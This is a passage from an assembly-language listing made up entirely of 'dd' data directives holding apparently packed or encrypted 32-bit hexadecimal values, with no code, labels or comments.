dd 831D60D3h, 44614CB0h, 7B8C69E8h, 0ED0C12ADh, 0FC4CF450h
dd 11002058h, 8F0963FAh, 80E040EFh, 0C72F41A1h, 8C20C8B9h
dd 74FD806Bh, 467CCCB6h, 79007D64h, 5D6328F7h, 0F2CC9B5h
dd 2DF502F4h, 40CBFE9Fh, 0D4437CD4h, 7859FC9Bh, 6D490798h
dd 518C9E71h, 0CFC316F6h, 2D74C3C0h, 0F04440E6h, 0E3F13A32h
dd 0FB20E0B0h, 81B7A9A0h, 42B096B4h, 45E25823h, 177C830h
dd 8172E86Ah, 703F8F33h, 5B4030D4h, 410CB02Dh, 0AC90FE7Ah
dd 8F977807h, 59F88994h, 19049A48h, 7344B802h, 0EC25BC40h
dd 0E54D503Ch, 1844FBB1h, 7C03CBB0h, 0F820F9F3h, 0E915EF74h
dd 164B854h, 0DAE2855Bh, 306F884Fh, 5262506Ch, 0F9F9F480h
dd 2F342890h, 0CC0EB8Bh, 455FA09Bh, 7D9E8800h, 52B6B72h
dd 0C2D42E0h, 3B20A22Ch, 19530039h, 0AF656481h, 94BF7C96h
dd 58876318h, 0F7CF6CC0h, 2C8B3B4Ah, 0D1C0D0C8h, 7AA210h
dd 9252EA9Ah, 2BE1C229h, 4E122CBEh, 37B874B9h, 546A0F00h
dd 0FE7E635Bh, 0FCBA13C9h, 0D50447E2h, 17C5E3h, 0F37BA188h
dd 702DFBF7h, 8BB4E854h, 2A89447h, 0FB9A0EFh, 135A801h
dd 1605A3E8h, 4074F408h, 0D3F2FD1Ch, 8B2DF18Ch, 0B2D48046h
dd 4E6041A0h, 0EFC402A7h, 0B0FE5h, 89F543DEh, 92E6D3h
dd 0B9D12F1Ah, 0F02109DCh, 968E6816h, 0BA1034B9h, 628D0182h
dd 5C85AC8Bh, 11045033h, 0A6B8A902h, 0F0B02DCh, 0D5594C41h
dd 0E40C3890h, 2598EF80h, 4C41AF8Ah, 371097F8h, 39112F18h
dd 11F5209Ch, 0F4697E60h, 0B5D39BABh, 0D6898AFh, 787BB389h
dd 55850B40h, 54E1153Ch, 36E05160h, 74886BEEh, 0F0984F1h
dd 6B7B48E7h, 8A41F494h, 2C5B57FFh, 0B0A99640h, 5FAC201h
dd 2F0CE806h, 0E99D0801h, 1C438557h, 8C20D437h, 0D8801844h
dd 808B0194h, 0AC4196FBh, 6198AF78h, 18631E44h, 419A2B02h
dd 20F169F0h, 3D082E0Bh, 0A1C80F4h, 0FDC6258Bh, 0F660BC96h
dd 4F3FE3FAh, 0C10822E4h, 0E4C8C52Bh, 60DE6041h, 10E7004Bh
dd 0F9A176DFh, 3F5E0C1Ch, 4188C48Eh, 89E4BBC0h, 881B00BEh
dd 5FD8312Dh, 49259E9Ah, 945058B3h, 3D465E74h, 0A8E42F25h
dd 0D0004F72h, 467B2995h, 2DAE88h, 0BF340C70h, 32FB57A2h
dd 92DF2E02h, 55F94822h, 3CAB4C99h, 30FEBD8Ch, 0C7FE8A01h
dd 3C0408FCh, 53BBF357h, 0DA00ECECh, 465E81C3h, 5800E872h
dd 0CFDB64Ah, 273D5B96h, 84456D3Eh, 3862CAE4h, 936C90DFh
dd 0F89F7B05h, 1066B582h, 94B38A5Ah, 13F1BD0Fh, 33060030h
dd 5B3A2C98h, 72C02C82h, 0CD467618h, 5B77B30Eh, 0FE3B0013h
dd 20953FEDh, 32CCE001h, 166B916Fh, 2B802C2Dh, 9DD93754h
dd 26F50707h, 0DD0E80D5h, 6A423512h, 83F48D9Ah, 83F790D4h
dd 33C004CEh, 128C4C49h, 0A51028BCh, 0EF9F0810h, 5300BF64h
dd 4868596Ch
dd 0E690C36Eh, 0E20C6A00h, 0C8320212h, 94F44823h, 0A30BBE20h
dd 72BB7F74h, 0F69B64E0h, 970CA3Ch, 0D815717Bh, 8023FFA4h
dd 5B303DA2h, 98072592h, 0C16C0800h, 0C6124811h, 0D4357EFAh
dd 45ACBCA8h, 0F18D1C8Ch, 0B3754082h, 0FD36E62h, 6168DF25h
dd 14215C14h, 5EBCB438h, 0B73008Ch, 0C0AE02B2h, 890EABBAh
dd 21BBF1FDh, 0DAF99C90h, 3A30DC24h, 70604FFFh, 0E3BBF58Bh
dd 20C1E64Bh, 0F0648696h, 5C0A40EEh, 0CA8BC418h, 0F068FD20h
dd 6E692D1Dh, 4BA807Ah, 0F62E7790h, 176B68A2h, 80CB1104h
dd 0AD78590Ah, 5D4812EDh, 7578920Ch, 0BC750Eh, 19574587h
dd 25A0B166h, 0D08533F9h, 0B4CE292h, 7C0FD5C1h, 0BF3788D0h
dd 9251430Fh, 12AFD4F0h, 0F812ED6Eh, 38E25B28h, 0DBC28500h
dd 73DFFEA9h, 8CC82303h, 2D46606Eh, 80E03460h, 9178A890h
dd 0B787449h, 4C6F3B8Fh, 14E0B7B0h, 0BA900396h, 89B80BB7h
dd 16646400h, 0BC6FEA1Dh, 0FF9406A0h, 9850BAE6h, 0F0BF4488h
dd 6091135Eh, 8849FB2Fh, 8F046C22h, 0B460E4DFh, 0B8403300h
dd 20F8F812h, 0EE44B0CAh, 2B922519h, 159980A3h, 0BC9EB174h
dd 9E5E27D6h, 9D0A8866h, 685F6FE1h, 3B77208h, 5D7BF9BDh
dd 0A7BB08E4h, 5DE46065h, 1BF81A60h, 3DCD240Fh, 730E2C6h
dd 4248DE58h, 8A016903h, 4701C4Ah, 0C341C073h, 4833045Fh
dd 0DC95EF15h, 0DF5904A0h, 8B047530h, 0AC14E914h, 93980E99h
dd 0D5A052B0h, 6F5C4EBEh, 68D4FC12h, 3171AC88h, 7039739Bh
dd 0C562E95h, 613C500Fh, 0C5437BBEh, 11B451D2h, 0DBF6059Dh
dd 34B0C67Fh, 0A1D2C6Fh, 8C7B258Ch, 2AC18473h, 52E30F7h
dd 0C1350524h, 42725C1Dh, 1055DB84h, 8C18BCh, 0CECA321Fh
dd 0A04A08CBh, 0C67DB216h, 50E98B16h, 0CEECFD2Eh, 0E1846108h
dd 0C85098E3h, 0ED15D484h, 0D1B280E0h, 0DEF97Dh, 0B3BA8921h
dd 7BAE6DBCh, 0EE6F2701h, 3392180Ch, 9928447Fh, 7C484BCCh
dd 8644C874h, 0E16BFF8Fh, 4C493BF7h, 0B6A8E897h, 70EF007Ch
dd 0C058149Eh, 7709F0A7h, 57568B4h, 0ECF85BC0h, 0C2EE831Ah
dd 801E4CF8h, 0F50BFBE8h, 110C7209h, 16571F7Fh, 0C0A353FAh
dd 0E43045E2h, 0F83800FBh, 2D40690Eh, 1491F03Eh, 0AEEC8A0Eh
dd 44456BA4h, 0AD4B120Ch, 4300AA1Fh, 358F8AA6h, 2284095Dh
dd 6C7E8667h, 0E889A143h, 83D96Dh, 0C9E65DA6h, 0F51A28F0h
dd 0EFEEA40Ch, 4B6972h, 3A6744Ah, 75BE6D48h, 27B660Eh
dd 449CA595h, 0BAC4D8h, 472CDB1Fh, 0AC85C553h, 87B37800h
dd 8D9C586Fh, 933500A3h, 86DF447Bh, 42B7A68Fh, 99638298h
dd 403854CEh, 0AEE3D69Eh, 2065472Eh, 0F4A5BC13h, 39506B3Ah
dd 0A4D6000Ah, 22902995h, 9134A0FFh, 0C9AC16DFh, 89A4EDB0h
dd 5C187473h, 0F7073E46h, 84962977h, 0F254E2F8h, 0FC7C3066h
dd 12C19812h, 8A0080F9h, 0ED08D79Ch, 0B7B5A60Fh, 84B000E4h
dd 0FAFD7BC8h, 0F3F0270Bh, 81E4DEBBh, 777D70F5h, 0BC483B1Bh
dd 49BD87CDh, 61ED8F8h, 26D4DC48h, 41FF055Ch, 854134Ch
dd 8101C24h, 0A307C017h, 3168B294h, 44DC30F0h, 50C4BDh
dd 0ED1A6396h, 0E8A193CDh, 0BAE21812h, 0C9F0280Bh, 2FCC6EB4h
dd 5236485Eh, 6B71FB04h, 48D88024h, 0FC814035h, 6F189C3Ah
dd 0E4206889h, 0F636407Dh, 0B06BBB26h, 4932A382h, 56C050ECh
dd 0A6E1C073h, 4861FA94h, 0B7E1100Bh, 51302E1Eh, 0FC1DA700h
dd 7580CA91h, 9B5BF99Dh, 566010BAh, 0B96C4151h, 3C249232h
dd 4F1423C9h, 70840C14h, 0E826EB89h, 8C82BD0Eh, 1044C3D6h
dd 4BF430D0h, 66B21CA3h, 24046430h, 1418F267h, 9E0938EFh
dd 1200220Bh, 438F95A0h, 64D46797h, 0D2C06041h, 8A7A74h
dd 5C27C36Fh, 419CA1DDh, 0A19F5FF6h, 0B0D54390h, 14E98C11h
dd 97CC20ABh, 0B1C03C4h, 0A4007A49h, 1402F317h, 0F54E265Bh
dd 9BB2C474h, 0EF47C0C4h, 42DA230h, 386C6271h, 0E003BF52h
dd 38830291h, 0A44EDF40h, 5C304950h, 3588C060h, 0B47E09FAh
dd 5498A091h, 574C2089h, 51605038h, 5B8B0944h, 0B6AC170Fh
dd 587CE018h, 0FC8E2E04h, 0F7430137h, 71A3D360h, 443E7B60h
dd 0A4005F23h, 0A190B377h, 75E50BADh, 7483C68Ch, 0F6AA25A0h
dd 7E8B505Eh, 5A14485Ch, 5E2900C7h, 1A726746h, 47F0E05Bh
dd 0E34B3C90h, 6ED8F440h, 0EE6DB03Fh, 0C08D746Fh, 22AC279h
dd 1095AAF0h, 0FA0620A0h, 0A3744AF4h, 30CEB2C4h, 0B7EC0261h
dd 1A2D292Dh, 8CE0C0F4h, 0FA9EF20Ch, 40A09C79h, 0C13A14B8h
dd 52620100h, 0E7CDDA75h, 1FA500A2h, 0E237FAD5h, 904F7278h
dd 7306CA4h, 0F18BB2A3h, 0E88836E3h, 0B1A0EF0Bh, 0E5A4E09Fh
dd 0A960E95h, 77C03132h, 0B5DE3AF9h, 934A9B16h, 22FB2CA0h
dd 0F24B0CCh, 602CB8EDh, 98CF2EBEh, 44AC1F64h, 0F4013D2Dh
dd 28604197h, 0C61278D4h, 0DCE2801Bh, 9C191C43h, 38DB307Bh
dd 0C64F7C2Ch, 0A804F8B0h, 9A974D0h, 3F079270h, 4C9E6C50h
dd 9A330660h, 95C81441h, 2B89383Dh, 3A2D48D4h, 755C614Ch
dd 7D01E02Ch, 599E919Ch, 92982430h, 0F9F8F730h, 0B62D7A9Dh
dd 10DB7064h, 2040E444h, 475B0C75h, 6ECAE4D1h, 0D9E294D1h
dd 97535484h, 90222870h, 0AA427080h, 6832785Bh, 13B0D19Fh
dd 0E080B6CAh, 0CC699C7h, 0B6FBBBCBh, 74E8D68h, 6BC8688Bh
dd 0EAFCF9C0h, 0AA7801ADh, 929EA883h, 0D887D977h, 1D07BF91h
dd 174DC8CCh, 0F2C2606Eh, 184B9B7Eh, 209235EAh, 85002994h
dd 0C23DF407h, 5C91CDFFh, 1274F452h, 0D2438A34h, 0EE80F134h
dd 33F6771Bh, 4A9E7E00h, 0AAD17B92h, 11B607DAh, 0A025AC02h
dd 65A49303h, 3C5CAB09h, 0F8ACC00Dh, 849397A9h, 0AEC8A7E8h
dd 374A0B0Eh, 0D0054056h, 4B7FE539h, 0C87C8B9Eh, 3CD4C0CBh
dd 0ED09E439h, 90411950h, 83BB7FBCh, 0B39554E0h, 0F0684340h
dd 2CDA3EA9h, 3E003040h, 7892FE67h, 190DF6DCh, 0B17C6EB9h
dd 9960707Dh, 0F5D8A095h, 3BC7B83Eh, 0F727362Ch, 175F2C58h
dd 20620CA1h, 4F68A007h, 8A6F6164h, 42D025CCh, 28B47C40h
dd 4082BF5Fh, 19289C18h, 5874C96Bh, 402D8Ch, 3AB8CBECh
dd 743ECA24h, 0F9C62E0Bh, 68924070h, 0FB146CDCh, 0F0405665h
dd 4AC6023Ah, 7DC840FAh, 0DF42D8Eh, 779DA106h, 7571FD4Eh
dd 0C906F642h, 0D0114628h, 0C23C5A0Ah, 7013F436h, 3BC21758h
dd 9D60B5E2h, 3429CA30h, 0C00B5D79h, 8E1DF38Bh, 18ACEA28h
dd 0D175FCA0h, 227EC7B6h, 0B80EF502h, 88DF969Eh, 35F1BC48h
dd 98710C1Bh, 24C16120h, 408BF08h, 93B7F535h, 39A6F164h
dd 658B7039h, 54088361h, 7494225h, 0C220FB00h, 0E9F86022h
dd 1703897Fh, 4991A91Fh, 0E1198E4Eh, 40C19593h, 57091A8h
dd 0FD02CFCBh, 0D030857Ch, 0B2D9760h, 0A753ED7Ch, 0BC432920h
dd 0D4C8EF09h, 9C493FC8h, 44003059h, 97657A3h, 1496BFFCh
dd 2A28FD02h, 5C15D774h, 98C3CFD0h, 1B34380Ch, 0B74531F4h
dd 8CE28C10h, 185CE308h, 0DFB98816h, 185E8C82h, 0E4ED4074h
dd 33103B62h, 0CD2A03AEh, 0B9C50810h, 11FC8319h, 0BF5401C2h
dd 1FA2301h, 0C001E8FEh, 217C07C8h, 5B90406Fh, 0B6604362h
dd 8F003F2h, 0E3C01010h, 8DC3218h, 0A480CA2Fh, 1FBB80E1h
dd 918D28C4h, 6A6F904h, 4091E0CDh, 0A7403EECh, 30606258h
dd 0C2039219h, 0AB10101Ch, 951718F4h, 0CC64BA08h, 7E49E518h
dd 0A4103F62h, 0D59B03C7h, 8D40087Ah, 2009624Ch, 5503CC9Eh
dd 1310192Bh, 189E9BDh
dd 0BB013E73h, 0FA088C44h, 635A18D6h, 15F508CFh, 0B58C1810h
dd 2AF34D10h, 1020A4B3h, 194F44D9h, 88305F66h, 0EAF62081h
dd 3242E220h, 0EF0807CEh, 2410C0A2h, 602ECA4h, 5408E570h
dd 0C6B1A4DDh, 10472E71h, 54A8F220h, 40B7BC52h, 0EF6230A5h
dd 604AC08h, 83547998h, 11CC56D4h, 0A86FF1B9h, 0DF0AF4C4h
dd 0C2C97110h, 4B10983Ch, 0C43D4471h, 4113B08h, 0AC045741h
dd 0C5897E7h, 0B9C4D808h, 860455ABh, 27A304D4h, 8587806h
dd 332F2120h, 9220C0BBh, 0CD23D110h, 20142118h, 0C081BBDCh
dd 0BA84B18Ch, 0C381B7F9h, 59C29851h, 0F25D209Fh, 7848AD08h
dd 0B09231DFh, 0C4C9C740h, 4DE3DE9h, 28062B7Fh, 203110D8h
dd 385E08F1h, 2653188Ch, 30404208h, 0C0284057h, 6428E463h
dd 490810ACh, 0E1B831AAh, 0D50137BAh, 957701D1h, 0F4A20202h
dd 0C0EF2C8h, 408E1005h, 0F4A937FBh, 2C6992B5h, 180AF846h
dd 20D42008h, 65335E20h, 4A92118Ch, 92D8A188h, 1CBC44F7h
dd 0C1F20C8Bh, 3CEE4D55h, 463A7165h, 80B64ACh, 508C8354h
dd 406A6540h, 0B5404EBDh, 3843408Bh, 418D4940h, 160F115h
dd 520189B2h, 0FE8601D9h, 241D601h, 5288A4BFh, 0D0E08491h
dd 0E7C1088h, 0CC17018h, 0E69A83F8h, 0C841CF05h, 0FD3EC49Fh
dd 0A0F0D06Bh, 6F255187h, 378C00FFh, 3C073988h, 0EF01B102h
dd 17C734B7h, 0DAFBEC94h, 5EDFD225h, 1C4D873Ch, 0D5F1307Eh
dd 3B0911B5h, 5F9187ACh, 20922400h, 0B8B18F1Ah, 8E0098ACh
dd 0CE861335h, 4149019Bh, 4D5B46D2h, 8C908004h, 0D4E1E3A9h
dd 0FB6901E5h, 4AEFA103h, 0ED6C607Dh, 23F058C6h, 0BA050150h
dd 45CDFDE2h, 9330E850h, 879F2C00h, 3113D803h, 3D950060h
dd 506C0F32h, 3800C8F0h, 969D097Eh, 2A80D3Ah, 9597C773h
dd 0C0F8FDF1h, 8355ED00h, 94E2AD22h, 1E37CD0h, 10DA8A43h
dd 280B149Ch, 605C5Ch, 0CEC261B8h, 0B10C9294h, 0A04113ACh
dd 1C03D8ECh, 0B97E9186h, 14FEE195h, 51C8F0h, 679AE1Ah
dd 9F7094F7h, 5CC0A8A3h, 0E095E430h, 2CDAB4h, 2D7A9ED8h
dd 31D9FCB2h, 0D1960DEh, 0D02F0B69h, 0FF65BB0h, 0ED1C0950h
dd 8A3A197Ah, 340C7D4Eh, 8F38996h, 0CCE130FCh, 13EFA540h
dd 0AAACB450h, 376FB9F8h, 5BCB0118h, 2475B68Dh, 0FCC39400h
dd 0BDC60103h, 82CEFD10h, 4370E0E6h, 0F395640Ch, 5C0C0h
dd 7D9FB987h, 0DFACFAFCh, 4EF850A8h, 47A9281h, 0B8F77D9Ch
dd 44F61E04h, 0F1D01325h, 50898E61h, 0D0FA3887h, 0D019776h
dd 855AE9F9h, 0B02D59C4h, 0EDF05E07h, 5471C1C1h, 5BD08678h
dd 6205521h, 62123C95h, 0E67F511Eh, 14B50B02h, 81508829h
dd 46C4FC08h, 87A45080h, 921D2849h, 8602E471h, 0F3556365h
dd 5CA0850Ch, 0CC5EF440h, 8994AAh, 0AF92738Ah, 408B281Dh
dd 4890064Fh, 2FD9347h, 1A0B01F3h, 68409BDBh, 5DF8AC7Eh
dd 21EDD101h, 0AA85F05Bh, 0FC9FB883h, 402CADDAh, 12381A19h
dd 0A0008187h, 6DA92A41h, 3888391Ah, 10AE00F7h, 5B668EA0h
dd 938016C3h, 18E64887h, 0E4C910h, 9AA2077Eh, 249E2CCAh
dd 40203B94h, 65480B78h, 0FD76CD06h, 1897D5h, 0B9C705AFh
dd 0A8CFF07Ah, 0E4398C0h, 3A819279h, 5E027122h, 0C4A395BAh
dd 331DD480h, 1400262Eh, 4418C2D4h, 0B60549h, 75430C77h
dd 36E4D2F8h, 56948001h, 5725EFA6h, 0CD5FC300h, 0DCA33403h
dd 0F87AE0AEh, 9EDA3889h, 0BD9280h, 29E8AA80h, 3B004A1Ah
dd 0AEFECAFDh, 245B7189h, 8E2C3F7Ch, 383AC716h, 85C2E061h
dd 3A949C60h, 0C4777802h, 981C4201h, 876A3Ch, 0D6924B90h
dd 4C385BD1h, 0E08820CFh, 0D5930BF1h, 0BA651D33h, 577700EAh
dd 189F3FA7h, 39863E00h, 5BF8D5E4h, 0A4BC94BAh, 0C9FB0004h
dd 0B232E35Ah, 63750D00h, 860BA406h, 1D8F1209h, 20282474h
dd 0EB91EF50h, 548F48C0h, 0CAFCDFFh, 5A8958Ah, 1F702FD8h
dd 16687360h, 3C5B0288h, 0B160F9EBh, 0D3DA4C4h, 5F7CC701h
dd 0B9B9212h, 211DE8h, 0B0FE87E3h, 0C3109854h, 40FC2B03h
dd 0E9794FC1h, 7C0267Dh, 3F8E0052h, 1105D036h, 9800221Eh
dd 0F1A8998Fh, 34A306Bh, 965C7F76h, 22E8AE93h, 0DC917B1Ch
dd 4668A1Ch, 0DB79A560h, 201964BCh, 0A94CC19Dh, 30F6F3FCh
dd 7D3B4501h, 0A1F06598h, 18A70824h, 20AED4FCh, 0CCE11CFFh
dd 10C05063h, 605C76B1h, 2CF0C1DAh, 0C036072Bh, 909084F7h
dd 0F4007E72h, 8E488C5Ah, 4C87A1ACh, 9B842039h, 888080C2h
dd 9F016941h, 4C301446h, 0F5F1D2A2h, 34F82831h, 90219890h
dd 0EA3D63F4h, 407A9B61h, 0F6004E76h, 0DB77A6C1h, 13E7CB05h
dd 1CFB8CD7h, 9EE40CF8h, 642CF4A8h, 9B823096h, 4091DA92h
dd 7CCFB98h, 3F58976h, 7BA540B3h, 0A760B65Ch, 0D7D7C60h
dd 95510996h, 0AC583E9Ah, 0A38D340Eh, 0DAAE8087h, 0E62ACB24h
dd 981D001Eh, 0F1A04B8Ch, 0A82CEFE3h, 0D19090B9h, 10792C1Ah
dd 500644AFh, 0DA1410F4h, 0C3C8096Ch, 0F9FEE5Bh, 0F1D5580h
dd 200AAA06h, 63437101h, 7695B31Bh, 871DF86Ch, 85B79E5Bh
dd 848614A1h, 920803B4h, 9BF8C7FBh, 9E242D72h, 7D608496h
dd 913C949Dh, 34890074h, 57EFAD19h, 49C84158h, 3587C24Ch
dd 62DC9017h, 26FCB22Dh, 1C98256Fh, 82F580C5h, 87DD4205h
dd 0FF44C8E1h, 0C11696B0h, 2E05138Fh, 8488CAD5h, 0FEE836h
dd 0CCB20FF2h, 0DF57C346h, 85B6A438h, 6EA6237Dh, 2D50806h
dd 0BDB400B1h, 7491C0E7h, 2D0C6A9Fh, 98AD69DAh, 0FBE8C09Dh
dd 0D2B694F4h, 8F507C90h, 655143F4h, 0CC03374h, 184D0BFCh
dd 0C010DCFEh, 906836CEh, 6F60A595h, 0FCB34F30h, 298E6576h
dd 77A088CCh, 1992A0B4h, 0E617B820h, 7679C78Eh, 90F849BAh
dd 10B5A731h, 32E12CF3h, 0B041FC30h, 0B481029Ch, 27E1D9Ch
dd 0FD2D8C44h, 1A107A6Ch, 0E82AD978h, 0E00B3CC3h, 2950125Bh
dd 595419A4h, 0ACDE893h, 3D0E6A0h, 0F02F149Eh, 41348C50h
dd 0C439AE7Ch, 32E04CAAh, 0F22D8DEh, 90AC0252h, 30E40903h
dd 0A55E6300h, 0CE235AC7h, 14DA15D0h, 4064B4A6h, 61DCD9C3h
dd 0A58C6420h, 881B9C0Bh, 3B149935h, 180FD102h, 90F680F8h
dd 241E3DF0h, 31F4FD17h, 0D2BEC14Ch, 890BDC2Ah, 288C089Fh
dd 81381505h, 0A047D10Fh, 0FA87C240h, 0FD070049h, 80AB05F2h
dd 0A489B31h, 0E0C05E94h, 390BFE3h, 28C3694Ch, 0CFC82CCDh
dd 0E900D3FDh, 0B0787EB7h, 7113994h, 584659FCh, 1E8B8A5Ah
dd 8F4D4CF9h, 273AA2E8h, 0A1E0504Ah, 0EDF58A05h, 84205AC3h
dd 0C0049A96h, 954CF870h, 9B04218Ch, 66921806h, 237438D0h
dd 0C94849h, 0B7EFF704h, 0D9D0C12Fh, 0D888309Ch, 8747275h
dd 6E85BC02h, 405AF1EDh, 0F8191798h, 4A2483Ah, 62B8C32Eh
dd 4D2F4FEh, 0A09CD826h, 0D615B05h, 68EDE832h, 809FA23Ch
dd 0D60073A8h, 43DE8E5Fh, 7C0C3B01h, 0A245311Ch, 0E29CA4E0h
dd 4C98C062h, 419D80F7h, 0A8335C8Ch, 67952F06h, 7B70F8DDh
dd 1BCA8B6h, 0FCB48390h, 0A8807493h, 91963CF8h, 5B2F757Ah
dd 0BEB80215h, 0CC184193h, 138C6464h, 40676D95h, 0EAE1383Ch
dd 0FD1878CBh, 0CE48718Dh, 0FCA20922h, 602039FBh, 38D58FE3h
dd 27D84560h, 0B0C52F4Fh, 865B25B0h, 3B966401h, 0DDD3E352h
dd 0C033A025h, 32958E34h, 87C081D0h, 0C13E4C63h, 0B30D0455h
dd 54E94386h, 0C4F7EF0Ah, 94AB05A0h, 0ED14CD3Dh, 70A70088h
dd 405B01F3h, 79EC3DDCh
dd 0E8F4D6FDh, 8FE08019h, 1EE53C64h, 0ECFFF02Eh, 5E0A8804h
dd 0FB0904A8h, 10CDFCFAh, 0A402C38Ch, 44A84AF8h, 0C0F16608h
dd 0BF5C85A8h, 209DE9C0h, 0C97BE1F0h, 68409358h, 0C380508Dh
dd 691A0003h, 16FDB157h, 0C73EC6F3h, 555B039Ch, 0E0B54F3Ah
dd 0D37CF6h, 94B86EB7h, 78A06688h, 8FF0020Ch, 2CA148E7h
dd 120407BCh, 195041E9h, 3393A617h, 0E2AC1EBCh, 112BD204h
dd 40CD8B0h, 0EFAB8D9Ch, 710CB084h, 63E6C00h, 21959A87h
dd 0C540DF89h, 80866D5Ch, 27EB7D28h, 0D0B0349Ah, 0F034CF8h
dd 3B95D85Dh, 653004B9h, 0D49DCADAh, 0FC988050h, 0E13CB43h
dd 1000DFB8h, 571272A9h, 16C20911h, 0D49899B2h, 0CE006046h
dd 8D33FF9Fh, 31B6D3h, 7008B882h, 1379E727h, 7C518A02h
dd 606D240Ch, 5B63ADh, 82A1DA6h, 0C7307097h, 0B880F0B2h
dd 1C0067E0h, 24C34F2Bh, 0EAA392Fh, 3AEFFDD6h, 0C040F647h
dd 0FDBB8FCh, 0CB5D373Ch, 30883C09h, 900C8F40h, 2F5A0068h
dd 1DCDD24Bh, 8050F44Ch, 2A00B58Ch, 586BA583h, 0BA6851F0h
dd 10C88238h, 50F9524h, 92C7D62Dh, 0DAD38312h, 1C86403Ah
dd 5C40B987h, 95324102h, 242CBA98h, 5140FC7Dh, 98F8085Ah
dd 5D9116CCh, 806449D1h, 3E0300C6h, 0FFFD64F1h, 2C1017A4h
dd 0F6A44415h, 7910F49h, 8BDFF5B9h, 341C0894h, 4188AB00h
dd 17708049h, 4FC7C0h, 0CED71B14h, 0C4007EB4h, 0E3D0FA28h
dd 0F07D88h, 0C95969Fh, 95FCC5Bh, 0A6020091h, 0A4CAFD8Fh
dd 0FC225760h, 291238C3h, 4C45A941h, 6CC97AA2h, 16E862E0h
dd 7F5A560h, 0C1869074h, 28877395h, 188A92A8h, 92A77D01h
dd 3480BA95h, 0D6033B28h, 0FCC78CAEh, 6492FC3Ch, 20C864FEh
dd 371AF62h, 50887C00h, 3F202A44h, 918A3118h, 32EFE579h
dd 0A57C8350h, 0C455AA35h, 0B21B2054h, 3E0E8EF8h, 808F272Bh
dd 5B908A95h, 38D86E74h, 106DF687h, 5D5F3FB9h, 58631F00h
dd 0EE3D9349h, 887E1675h, 0CA684411h, 8F0B84h, 0C2EB4860h
dd 0EF940C2Bh, 0FB8BC08h, 7126E81Fh, 0FBB885A5h, 0A3C65880h
dd 9B9E0221h, 0A588FCB9h, 7EB590E8h, 3BA6E88h, 0FD6AD845h
dd 3BFBF013h, 0B8E009F2h, 0F7804471h, 8DAB25F2h, 0DEE8AC8Fh
dd 0E93D8E00h, 68C174h, 0F58F3F2Bh, 67C85BCDh, 0B149B89Eh
dd 0BCAE9690h, 4A820E0h, 0D491BB40h, 5CE86Fh, 3A6DFE76h
dd 0DFC607BFh, 0CCE1410h, 0FD25C491h, 0B4A10012h, 3D6998F0h
dd 8CE710D8h, 0EC20F609h, 458F1082h, 88A018E8h, 0C3EBF508h
dd 0E1AC4258h, 11432880h, 8E028DA3h, 14EFA2B9h, 0A5344030h
dd 0C13A33FCh, 0C2E02F30h, 6F7C0AFBh, 30806600h, 0C8A37B20h
dd 961E0A50h, 0FB07FC0h, 0ECE95C7Ch, 98C0D8C2h, 3F0BFBC4h
dd 0B374A262h, 0CCC1DDB8h, 3FE86171h, 949D01A1h, 2CA48A3Bh
dd 0E8CC6117h, 0CF01B708h, 5C8220B4h, 7C29AB48h, 0CF6F9682h
dd 0B4C06604h, 7C634AC2h, 20A85A1Dh, 265DF1Ch, 3C983000h
dd 0BD3EA6E1h, 30447807h, 0EF11E094h, 0BC9EBAA1h, 3A721E88h
dd 406425CBh, 1755C8D0h, 11606396h, 902C2760h, 0C0C55D95h
dd 0B97E8D09h, 0A155B842h, 95AC138h, 0F898083Ch, 2D50EEF0h
dd 0E89478B4h, 0C969782h, 58ACC185h, 0B4CB1060h, 2B9C0834h
dd 64008817h, 0C301878Eh, 0CFF40256h, 91D132EEh, 0F07FC878h
dd 8582A61h, 6420CED2h, 1E843D9Bh, 5818E5BAh, 0FB780829h
dd 4880903h, 0ADA5F7FAh, 0F2FEBDC0h, 929A1741h, 62E8030Ah
dd 80B1FA2Dh, 182FD0CDh, 85D9820Eh, 339967ABh, 2B1E1F10h
dd 2D890323h, 15D1FE86h, 1C7CD082h, 9A124D01h, 1835A406h
dd 2A954874h, 7D0AC53h, 0C83CCF51h, 21B10325h, 1DC0385Ch
dd 10F066FCh, 613A47h, 378FD75Eh, 2DDFAD8Dh, 3FA3AC00h
dd 0E3A91049h, 717B1C87h, 0A0FDCB39h, 6B76CE78h, 3D956700h
dd 6C53AA54h, 57370788h, 37D705BCh, 4F8531h, 3878C08h
dd 0F70D30F9h, 80749FDh, 117010B0h, 4A5816CEh, 0E74C01A0h
dd 249575E5h, 0E2AC006Eh, 760719A7h, 104F445Eh, 5C8732FCh
dd 3CC292D4h, 5900C2FBh, 10FA1818h, 0A86F63FDh, 0F844ECE8h
dd 0A7294087h, 0C1A4EF13h, 145B7837h, 0D0F55C90h, 0E0C98E3Eh
dd 8008D22Eh, 0A14BFEC3h, 0FD00C054h, 0F23AE819h, 6212FB6Ch
dd 732069F3h, 836E00Fh, 7C78185Dh, 1CC62ADFh, 34E948C4h
dd 0AE8F1C48h, 0A55FC4F0h, 699118C2h, 6C609A44h, 3394009Eh
dd 0BF576648h, 87001E1Dh, 836F1F44h, 0E04CF861h, 425D2947h
dd 0B49EBA8Ch, 41F82666h, 68DE2995h, 685324E0h, 4480D993h
dd 96C09FDAh, 0EC6090Ch, 8D0D7044h, 484BCA95h, 0B420FAE5h
dd 24F8B092h, 6A8AA6Fh, 513BEFE2h, 0DCFFF400h, 0A3A8C695h
dd 8CA6010Bh, 0BB5B6763h, 15F08058h, 93DB8394h, 41409CD0h
dd 74CDB95Bh, 4C013C70h, 77FDBF0h, 70378F33h, 1139805Ch
dd 1C760F40h, 0D3383A74h, 0C54E7ED5h, 26B5A802h, 0CD192h
dd 93409655h, 8725955Dh, 0B334008Bh, 5C881D9Ch, 88D2B003h
dd 0A4A08D04h, 20CB89A2h, 2CDC64AEh, 28703E91h, 0A7BB285Ch
dd 2C962FF3h, 70B3480h, 8200FF83h, 57DD6CB4h, 7A851C0h
dd 80DDB7Ah, 958FD131h, 2E8682Dh, 9BAF45Bh, 71964053h
dd 0C0A307D9h, 120FE98Bh, 0B478C7F5h, 0D768F018h, 0B077F8h
dd 0C0AD6718h, 0B7FB9EDBh, 0BAE6A890h, 5B2A7F04h, 0A0A2F175h
dd 8968B302h, 714E87h, 4413413h, 2256EFA4h, 5A134024h
dd 0B4EC2CA3h, 3658600h, 3A5873FDh, 9162F85h, 0FCEFB4C0h
dd 0E93CB40h, 4707A563h, 0A05B49BFh, 4C5C3823h, 2AD8200Fh
dd 466A0585h, 940BA016h, 1B780079h, 0CA4AF496h, 1DD5E250h
dd 684F9FCh, 0A2CA7295h, 0E8F504F0h, 0A0887DA8h, 0DE0B00A1h
